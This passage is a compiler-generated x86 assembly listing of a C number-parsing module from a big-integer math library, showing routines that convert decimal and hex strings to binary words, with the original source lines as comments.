; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 520 : u_buf += 2;
add ecx, 8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [eax], edx
$LN661@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 529 : if (u_count & 0x1)
test bl, 1
je SHORT $LN675@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
mov edi, edx
mov DWORD PTR [ecx], eax
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 532 : u_buf += 1;
add ecx, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 329 : _InterlockedIncrement(&statistics_info.COUNT_MULTI32);
lock inc (null) PTR _statistics_info+4
$LN675@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 541 : if (k > 0)
test edi, edi
je SHORT $LN680@MultiplyAn
; 542 : {
; 543 : u_buf[0] = k;
mov DWORD PTR [ecx], edi
; 544 : u_buf += 1;
lea eax, DWORD PTR [ecx+4]
pop edi
; 545 : }
; 546 :
; 547 : return (u_buf);
; 548 : }
pop esi
pop ebx
pop ebp
ret 0
$LN680@MultiplyAn:
pop edi
pop esi
mov eax, ecx
pop ebx
pop ebp
ret 0
_MultiplyAndAdd_using_ADC_MUL ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd1Word_using_ADCX_MULX
_TEXT SEGMENT
_k$ = 8 ; size = 4
_u$ = 12 ; size = 4
_w_buf$ = 16 ; size = 4
_MultiplyAndAdd1Word_using_ADCX_MULX PROC ; COMDAT
; 393 : {
push ebp
mov ebp, esp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov ecx, DWORD PTR _w_buf$[ebp]
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR _u$[ebp]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, DWORD PTR _k$[ebp]
mov DWORD PTR [ecx], eax
mov eax, 0
adcx eax, edx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 405 : }
pop ebp
ret 0
_MultiplyAndAdd1Word_using_ADCX_MULX ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd1Word_using_ADC_MUL
_TEXT SEGMENT
_k$ = 8 ; size = 4
_u$ = 12 ; size = 4
_w_buf$ = 16 ; size = 4
_MultiplyAndAdd1Word_using_ADC_MUL PROC ; COMDAT
; 378 : {
push ebp
mov ebp, esp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
mov ecx, DWORD PTR _w_buf$[ebp]
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR _u$[ebp]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, DWORD PTR _k$[ebp]
mov DWORD PTR [ecx], eax
adc edx, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 389 : return (k);
mov eax, edx
; 390 : }
pop ebp
ret 0
_MultiplyAndAdd1Word_using_ADC_MUL ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _BuildBinaryFromDecimalString
_TEXT SEGMENT
_in_ptr$1$ = -20 ; size = 4
tv603 = -16 ; size = 4
tv604 = -12 ; size = 4
tv618 = -8 ; size = 4
_source_count$1$ = -8 ; size = 4
_out_ptr$1$ = -4 ; size = 4
_source$ = 8 ; size = 4
_out_buf$ = 12 ; size = 4
_out_buf_count$ = 16 ; size = 4
_BuildBinaryFromDecimalString PROC ; COMDAT
; 350 : {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
push ebx
; 351 : #ifdef _M_IX86
; 352 : int word_digit_count = 9;
; 353 : #elif defined(_M_IX64)
; 354 : int word_digit_count = 19;
; 355 : #else
; 356 : #error unknown platform
; 357 : #endif
; 358 : wchar_t* in_ptr = source;
; 359 : __UNIT_TYPE* out_ptr = out_buf;
mov ebx, DWORD PTR _out_buf$[ebp]
push esi
; 360 : __UNIT_TYPE source_count = lstrlenW(source);
mov esi, DWORD PTR _source$[ebp]
push edi
push esi
mov DWORD PTR _out_ptr$1$[ebp], ebx
call DWORD PTR __imp__lstrlenW@4
; 361 : int r = source_count % word_digit_count;
xor edx, edx
mov ecx, eax
mov edi, 9
mov DWORD PTR _source_count$1$[ebp], ecx
div edi
; 362 : if (r > 0)
test edx, edx
jle SHORT $LN17@BuildBinar
; 303 : __UNIT_TYPE x = 0;
xor eax, eax
; 363 : {
; 364 : *out_ptr++ = BuildLeading1WordFromDecimalString(in_ptr, r);
mov edi, edx
; 304 : while (count > 0)
test edx, edx
je SHORT $LN8@BuildBinar
$LL7@BuildBinar:
; 305 : {
; 306 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [esi]
lea esi, DWORD PTR [esi+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -48 ; ffffffd0H
; 307 : --count;
sub edi, 1
jne SHORT $LL7@BuildBinar
mov ecx, DWORD PTR _source_count$1$[ebp]
$LN8@BuildBinar:
; 365 : in_ptr += r;
mov esi, DWORD PTR _source$[ebp]
mov DWORD PTR [ebx], eax
add ebx, 4
mov DWORD PTR _out_ptr$1$[ebp], ebx
; 366 : source_count -= r;
sub ecx, edx
lea esi, DWORD PTR [esi+edx*2]
mov DWORD PTR _source$[ebp], esi
$LN17@BuildBinar:
; 367 : }
; 368 : while (source_count > 0)
test ecx, ecx
je $LN3@BuildBinar
dec ecx
mov eax, 954437177 ; 38e38e39H
mul ecx
mov eax, edx
shr eax, 1
inc eax
mov DWORD PTR tv618[ebp], eax
$LL2@BuildBinar:
; 334 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [esi+10]
lea ecx, DWORD PTR [esi+2]
movzx esi, WORD PTR [ecx]
movzx edx, WORD PTR [ecx+2]
movzx ebx, WORD PTR [ecx+6]
movzx edi, WORD PTR [ecx+4]
mov DWORD PTR tv604[ebp], eax
; 335 : }
; 336 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 337 : {
; 338 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [ecx+10]
add ecx, 12 ; 0000000cH
mov DWORD PTR tv603[ebp], eax
mov eax, DWORD PTR _source$[ebp]
mov DWORD PTR _in_ptr$1$[ebp], ecx
movzx eax, WORD PTR [eax]
; 339 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 340 : }
; 341 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 342 : {
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [esi+ecx*2]
; 371 : in_ptr += word_digit_count;
mov esi, DWORD PTR _source$[ebp]
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 371 : in_ptr += word_digit_count;
add esi, 18 ; 00000012H
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [edx+ecx*2]
; 371 : in_ptr += word_digit_count;
mov DWORD PTR _source$[ebp], esi
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
mov edx, DWORD PTR _in_ptr$1$[ebp]
lea eax, DWORD PTR [edi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [ebx+ecx*2]
; 369 : {
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov ebx, DWORD PTR _out_ptr$1$[ebp]
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv604[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv603[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -1038366032 ; c21bcab0H
; 369 : {
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov DWORD PTR [ebx], eax
add ebx, 4
sub DWORD PTR tv618[ebp], 1
mov DWORD PTR _out_ptr$1$[ebp], ebx
jne $LL2@BuildBinar
$LN3@BuildBinar:
; 372 : source_count -= word_digit_count;
; 373 : }
; 374 : *out_buf_count = out_ptr - out_buf;
sub ebx, DWORD PTR _out_buf$[ebp]
mov eax, DWORD PTR _out_buf_count$[ebp]
pop edi
sar ebx, 2
pop esi
mov DWORD PTR [eax], ebx
pop ebx
; 375 : }
mov esp, ebp
pop ebp
ret 0
_BuildBinaryFromDecimalString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Build1WordFromDecimalString
_TEXT SEGMENT
tv383 = -8 ; size = 4
tv384 = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_Build1WordFromDecimalString PROC ; COMDAT
; 313 : {
push ebp
mov ebp, esp
sub esp, 8
; 314 : __UNIT_TYPE x = (*in_ptr++ - L'0');
mov ecx, DWORD PTR _in_ptr$[ebp]
push ebx
push esi
push edi
movzx eax, WORD PTR [ecx]
add ecx, 2
; 315 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT64_T))
; 316 : {
; 317 : x = x * 10 + (*in_ptr++ - L'0');
; 318 : x = x * 10 + (*in_ptr++ - L'0');
; 319 : x = x * 10 + (*in_ptr++ - L'0');
; 320 : x = x * 10 + (*in_ptr++ - L'0');
; 321 : x = x * 10 + (*in_ptr++ - L'0');
; 322 : x = x * 10 + (*in_ptr++ - L'0');
; 323 : x = x * 10 + (*in_ptr++ - L'0');
; 324 : x = x * 10 + (*in_ptr++ - L'0');
; 325 : x = x * 10 + (*in_ptr++ - L'0');
; 326 : x = x * 10 + (*in_ptr++ - L'0');
; 327 : }
; 328 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT32_T))
; 329 : {
; 330 : x = x * 10 + (*in_ptr++ - L'0');
movzx edx, WORD PTR [ecx]
; 331 : x = x * 10 + (*in_ptr++ - L'0');
movzx esi, WORD PTR [ecx+2]
; 332 : x = x * 10 + (*in_ptr++ - L'0');
movzx edi, WORD PTR [ecx+4]
; 333 : x = x * 10 + (*in_ptr++ - L'0');
movzx ebx, WORD PTR [ecx+6]
add ecx, 8
mov DWORD PTR _in_ptr$[ebp], ecx
; 334 : x = x * 10 + (*in_ptr++ - L'0');
movzx ecx, WORD PTR [ecx]
mov DWORD PTR tv384[ebp], ecx
mov ecx, DWORD PTR _in_ptr$[ebp]
add ecx, 2
mov DWORD PTR _in_ptr$[ebp], ecx
; 335 : }
; 336 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 337 : {
; 338 : x = x * 10 + (*in_ptr++ - L'0');
add DWORD PTR _in_ptr$[ebp], 2
movzx ecx, WORD PTR [ecx]
mov DWORD PTR tv383[ebp], ecx
; 339 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 340 : }
; 341 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 342 : {
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [edx+ecx*2]
mov edx, DWORD PTR _in_ptr$[ebp]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [esi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [edi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [ebx+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv384[ebp]
movzx eax, ax
; 344 : }
; 345 : return (x);
pop edi
pop esi
pop ebx
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv383[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -1038366032 ; c21bcab0H
; 346 : }
mov esp, ebp
pop ebp
ret 0
_Build1WordFromDecimalString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _BuildLeading1WordFromDecimalString
_TEXT SEGMENT
_in_ptr$ = 8 ; size = 4
_count$ = 12 ; size = 4
_BuildLeading1WordFromDecimalString PROC ; COMDAT
; 302 : {
push ebp
mov ebp, esp
push esi
; 303 : __UNIT_TYPE x = 0;
; 304 : while (count > 0)
mov esi, DWORD PTR _count$[ebp]
xor eax, eax
test esi, esi
je SHORT $LN3@BuildLeadi
mov edx, DWORD PTR _in_ptr$[ebp]
$LL2@BuildLeadi:
; 305 : {
; 306 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea edx, DWORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -48 ; ffffffd0H
; 307 : --count;
sub esi, 1
jne SHORT $LL2@BuildLeadi
$LN3@BuildLeadi:
pop esi
; 308 : }
; 309 : return (x);
; 310 : }
pop ebp
ret 0
_BuildLeading1WordFromDecimalString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsHexNumberString
_TEXT SEGMENT
_state$ = -84 ; size = 80
__$ArrayPad$ = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_int_part_buf$ = 20 ; size = 4
_ParseAsHexNumberString PROC ; COMDAT
; 287 : {
push ebp
mov ebp, esp
sub esp, 84 ; 00000054H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov eax, DWORD PTR _format_option$[ebp]
push ebx
; 288 : struct __tag_PARSER_STATE state;
; 289 : InitializeParserState(&state, in_ptr, number_styles, format_option, int_part_buf, NULL);
mov ebx, DWORD PTR _number_styles$[ebp]
push 0
push DWORD PTR _int_part_buf$[ebp]
push eax
push ebx
push DWORD PTR _in_ptr$[ebp]
lea eax, DWORD PTR _state$[ebp]
push eax
call _InitializeParserState
add esp, 24 ; 00000018H
; 290 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE)
test bl, 1
je SHORT $LN38@ParseAsHex
; 113 : switch (*state->IN_PTR)
mov ecx, DWORD PTR _state$[ebp]
movzx eax, WORD PTR [ecx]
cmp eax, 9
jb SHORT $LN38@ParseAsHex
npad 3
$LL7@ParseAsHex:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN12@ParseAsHex
cmp eax, 32 ; 00000020H
jne SHORT $LN38@ParseAsHex
$LN12@ParseAsHex:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add ecx, 2
mov DWORD PTR _state$[ebp], ecx
movzx eax, WORD PTR [ecx]
cmp eax, 9
jae SHORT $LL7@ParseAsHex
$LN38@ParseAsHex:
; 291 : SkipSpace(&state);
; 292 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
; 293 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
mov eax, DWORD PTR _state$[ebp]
add esp, 4
test bl, 2
pop ebx
je SHORT $LN30@ParseAsHex
; 113 : switch (*state->IN_PTR)
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jb SHORT $LN30@ParseAsHex
$LL16@ParseAsHex:
cmp ecx, 13 ; 0000000dH
jbe SHORT $LN21@ParseAsHex
cmp ecx, 32 ; 00000020H
jne SHORT $LN30@ParseAsHex
$LN21@ParseAsHex:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add eax, 2
mov DWORD PTR _state$[ebp], eax
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jae SHORT $LL16@ParseAsHex
$LN30@ParseAsHex:
; 294 : SkipSpace(&state);
; 295 : if (*state.IN_PTR != L'\0')
cmp WORD PTR [eax], 0
je SHORT $LN4@ParseAsHex
; 296 : return (0);
xor eax, eax
; 297 : FinalizeParserState(&state);
; 298 : return (1);
; 299 : }
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN4@ParseAsHex:
; 103 : *state->INT_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+72]
xor ecx, ecx
mov WORD PTR [eax], cx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR _state$[ebp+4], 32 ; 00000020H
je SHORT $LN25@ParseAsHex
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+76]
mov WORD PTR [eax], cx
$LN25@ParseAsHex:
; 297 : FinalizeParserState(&state);
; 298 : return (1);
; 299 : }
mov ecx, DWORD PTR __$ArrayPad$[ebp]
mov eax, 1
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_ParseAsHexNumberString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsDecimalNumberString
_TEXT SEGMENT
_sign$GSCopy$1$ = -88 ; size = 4
_state$ = -84 ; size = 80
__$ArrayPad$ = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_sign$ = 20 ; size = 4
_int_part_buf$ = 24 ; size = 4
_frac_part_buf$ = 28 ; size = 4
_ParseAsDecimalNumberString PROC ; COMDAT
; 190 : {
push ebp
mov ebp, esp
sub esp, 88 ; 00000058H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov eax, DWORD PTR _format_option$[ebp]
mov ecx, DWORD PTR _sign$[ebp]
push ebx
; 191 : struct __tag_PARSER_STATE state;
; 192 : InitializeParserState(&state, in_ptr, number_styles, format_option, int_part_buf, frac_part_buf);
mov ebx, DWORD PTR _number_styles$[ebp]
push esi
push edi
push DWORD PTR _frac_part_buf$[ebp]
mov DWORD PTR _sign$GSCopy$1$[ebp], ecx
push DWORD PTR _int_part_buf$[ebp]
push eax
push ebx
push DWORD PTR _in_ptr$[ebp]
lea eax, DWORD PTR _state$[ebp]
push eax
call _InitializeParserState
; 193 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE)
mov esi, DWORD PTR _state$[ebp]
add esp, 24 ; 00000018H
test bl, 1
je SHORT $LN61@ParseAsDec
; 113 : switch (*state->IN_PTR)
movzx eax, WORD PTR [esi]
cmp eax, 9
jb SHORT $LN61@ParseAsDec
$LL33@ParseAsDec:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN38@ParseAsDec
cmp eax, 32 ; 00000020H
jne SHORT $LN61@ParseAsDec
$LN38@ParseAsDec:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
cmp eax, 9
jae SHORT $LL33@ParseAsDec
$LN61@ParseAsDec:
; 194 : SkipSpace(&state);
; 195 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_PARENTHESES) && *state.IN_PTR == L'(')
test bl, 16 ; 00000010H
je SHORT $LN3@ParseAsDec
cmp WORD PTR [esi], 40 ; 00000028H
jne SHORT $LN3@ParseAsDec
; 196 : {
; 197 : state.SIGN = -1;
; 198 : state.IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp+8], -1
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
; 199 : if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
cmp eax, 48 ; 00000030H
jb SHORT $LN5@ParseAsDec
cmp eax, 57 ; 00000039H
ja SHORT $LN5@ParseAsDec
; 200 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN5@ParseAsDec:
; 201 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
test bl, 32 ; 00000020H
je SHORT $LN6@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN6@ParseAsDec
; 202 : {
; 203 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
; 204 : ParseAsFractionPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN6@ParseAsDec:
; 205 : }
; 206 : if (*state.IN_PTR != L')')
cmp WORD PTR [esi], 41 ; 00000029H
jne $LN23@ParseAsDec
; 207 : return (0);
; 208 : state.IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp], esi
; 209 : }
jmp $LN27@ParseAsDec
$LN3@ParseAsDec:
; 210 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
test bl, 4
je $LN12@ParseAsDec
; 63 : while (*b != L'\0')
mov ax, WORD PTR _state$[ebp+12]
; 210 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
lea ecx, DWORD PTR _state$[ebp+12]
; 63 : while (*b != L'\0')
test ax, ax
je SHORT $LN43@ParseAsDec
movzx edx, ax
mov edi, esi
mov eax, ecx
sub edi, eax
$LL42@ParseAsDec:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [edi+ecx], dx
jne SHORT $LN8@ParseAsDec
; 66 : return (0);
; 67 : ++a;
; 68 : ++b;
movzx eax, WORD PTR [ecx+2]
add ecx, 2
mov edx, eax
test ax, ax
jne SHORT $LL42@ParseAsDec
$LN43@ParseAsDec:
; 211 : {
; 212 : state.SIGN = 1;
; 213 : state.IN_PTR += state.POSITIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+20]
mov DWORD PTR _state$[ebp+8], 1
; 214 : if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
; 215 : ParseAsIntegerPartNumberSequence(&state);
; 216 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
; 217 : {
; 218 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
; 219 : ParseAsFractionPartNumberSequence(&state);
; 220 : }
; 221 : }
jmp SHORT $LN83@ParseAsDec
$LN8@ParseAsDec:
; 222 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_SIGN) && StartsWith(state.IN_PTR, state.NEGATIVE_SIGN))
lea eax, DWORD PTR _state$[ebp+24]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je $LN12@ParseAsDec
; 223 : {
; 224 : state.SIGN = -1;
; 225 : state.IN_PTR += state.NEGATIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+32]
mov DWORD PTR _state$[ebp+8], -1
$LN83@ParseAsDec:
; 269 : }
; 270 : else
; 271 : {
; 272 : }
; 273 : }
; 274 : else
; 275 : return (0);
; 276 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
cmp eax, 48 ; 00000030H
jb SHORT $LN14@ParseAsDec
cmp eax, 57 ; 00000039H
ja SHORT $LN14@ParseAsDec
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN14@ParseAsDec:
test bl, 32 ; 00000020H
je SHORT $LN27@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN27@ParseAsDec
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
add esp, 4
$LN76@ParseAsDec:
mov esi, DWORD PTR _state$[ebp]
$LN27@ParseAsDec:
test bl, 2
je SHORT $LN77@ParseAsDec
; 113 : switch (*state->IN_PTR)
movzx eax, WORD PTR [esi]
cmp eax, 9
jb SHORT $LN77@ParseAsDec
npad 1
$LL47@ParseAsDec:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN52@ParseAsDec
cmp eax, 32 ; 00000020H
jne SHORT $LN77@ParseAsDec
$LN52@ParseAsDec:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
cmp eax, 9
jae SHORT $LL47@ParseAsDec
$LN77@ParseAsDec:
; 277 : SkipSpace(&state);
; 278 : if (*state.IN_PTR != L'\0')
cmp WORD PTR [esi], 0
jne $LN23@ParseAsDec
; 103 : *state->INT_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+72]
xor ecx, ecx
mov WORD PTR [eax], cx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR _state$[ebp+4], 32 ; 00000020H
je SHORT $LN56@ParseAsDec
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+76]
mov WORD PTR [eax], cx
$LN56@ParseAsDec:
; 279 : return (0);
; 280 : FinalizeParserState(&state);
; 281 : *sign = state.SIGN;
mov ecx, DWORD PTR _sign$GSCopy$1$[ebp]
mov eax, DWORD PTR _state$[ebp+8]
pop edi
; 282 : return (1);
; 283 : }
pop esi
mov DWORD PTR [ecx], eax
mov eax, 1
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
